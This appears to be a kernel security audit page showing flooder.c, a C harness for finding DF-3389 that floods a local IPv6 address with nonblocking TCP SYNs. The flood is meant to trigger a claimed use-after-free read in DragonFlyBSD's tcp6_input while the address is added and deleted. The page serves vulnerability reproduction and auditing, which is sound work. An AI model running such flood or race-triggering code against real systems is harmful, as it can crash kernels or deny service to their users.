⬢ DragonFlyBSD Kernel Audit
DF-3389 / flooder.c
← back to finding ↓ download raw
/* DF-3389 race harness — unprivileged TCPv6 SYN flood to the raced address.
 *
 * Every connect() emits a SYN through lo0 -> ip6_input() which stores the
 * borrowed in6_ifaddr* into the packet m_tag (ip6_setdstifaddr) and defers
 * tcp6_input via lwkt_sendmsg(netisr_cpuport(0)).  tcp6_input dereferences
 * ia6->ia6_flags (tcp_input.c:624-625) for EVERY segment, before socket
 * lookup, so SYNs to an unbound port fully exercise the claimed UAF read.
 *
 * Batched nonblocking connects: the raced address flaps (add/delete), so a
 * blocking connect() can stall ~75s in SYN retransmission when the address
 * vanishes mid-handshake.  We fire batches of nonblocking connects and reap
 * them after a short poll, keeping the SYN rate high regardless of flapping.
 *
 * build:  cc -O2 -o flooder flooder.c
 * run:    ./flooder <seconds> [addr]
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <poll.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define	BATCH	128

int
main(int argc, char **argv)
{
	double dur = argc > 1 ? atof(argv[1]) : 60.0;
	const char *addr = argc > 2 ? argv[2] : "fd99:3389::1";
	struct sockaddr_in6 dst;
	struct pollfd pfd[BATCH];
	struct timeval t0, t1;
	unsigned long n = 0, last = 0;
	double el, lastel = 0;
	int i, nf;

	memset(&dst, 0, sizeof(dst));
	dst.sin6_family = AF_INET6;
	dst.sin6_port = htons(33890);
	if (inet_pton(AF_INET6, addr, &dst.sin6_addr) != 1) {
		fprintf(stderr, "inet_pton: %s\n", addr);
		return 1;
	}

	gettimeofday(&t0, NULL);
	for (;;) {
		/* fire a batch of nonblocking SYNs */
		nf = 0;
		for (i = 0; i < BATCH; i++) {
			int s = socket(AF_INET6, SOCK_STREAM, 0);
			if (s < 0)
				break;
			fcntl(s, F_SETFL, O_NONBLOCK);
			if (connect(s, (struct sockaddr *)&dst,
			    sizeof(dst)) == 0) {
				close(s);		/* instant RST path */
				continue;
			}
			if (errno != EINPROGRESS) {
				close(s);		/* no-route etc: fast */
				continue;
			}
			pfd[nf].fd = s;
			pfd[nf].events = POLLOUT;
			pfd[nf].revents = 0;
			nf++;
			n++;			/* SYN left the socket */
		}
		if (nf) {
			poll(pfd, nf, 30);	/* reap quickly, flap-tolerant */
			for (i = 0; i < nf; i++)
				close(pfd[i].fd);
		}

		gettimeofday(&t1, NULL);
		el = (t1.tv_sec - t0.tv_sec) + (t1.tv_usec - t0.tv_usec) / 1e6;
		if (el - lastel >= 5.0) {
			printf("flooder pid=%d rate=%.0f/s total=%lu\n",
			    getpid(), (n - last) / (el - lastel), n);
			fflush(stdout);
			last = n;
			lastel = el;
		}
		if (el >= dur)
			break;
	}
	printf("flooder pid=%d DONE total=%lu\n", getpid(), n);
	return 0;
}